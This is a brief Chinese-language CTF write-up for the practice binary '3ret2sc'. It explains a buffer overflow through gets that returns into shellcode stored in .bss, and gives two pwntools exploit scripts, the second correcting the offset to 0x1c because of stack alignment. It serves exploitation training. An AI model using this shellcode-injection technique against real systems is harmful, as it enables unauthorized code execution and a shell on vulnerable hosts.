check一下,发现什么都没开
拖进ida,没有system和binsh,所以我们直接调用shellcode即可
第一次输入写进了bss段,第二次输入用gets函数,所以我们只需要在第一次输入的时候输入shellcode,第二次输入将name地址覆盖ret地址
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./3ret2sc')
shellcode_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")
payload = "A" * 0x14 + p32(0) + p32(shellcode_addr)
p.sendline(payload)
p.interactive()
出现了错误
查看大佬的博客发现偏移应该时0x1c
原因是因为又这一行代码
text:080484D0 and esp, 0FFFFFFF0h //会将ebp对齐,使得ebp与s的相对偏移不再是0x14
在gdb里面调试可得
脚本:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
p = process('./3ret2sc')
shellcode_addr = 0x0804A060
shellcode = asm(shellcraft.sh())
p.recvuntil(":")
p.sendline(shellcode)
p.recvuntil(":")
payload = "A" * 0x1c + p32(0) + p32(shellcode_addr)
p.sendline(payload)
p.interactive()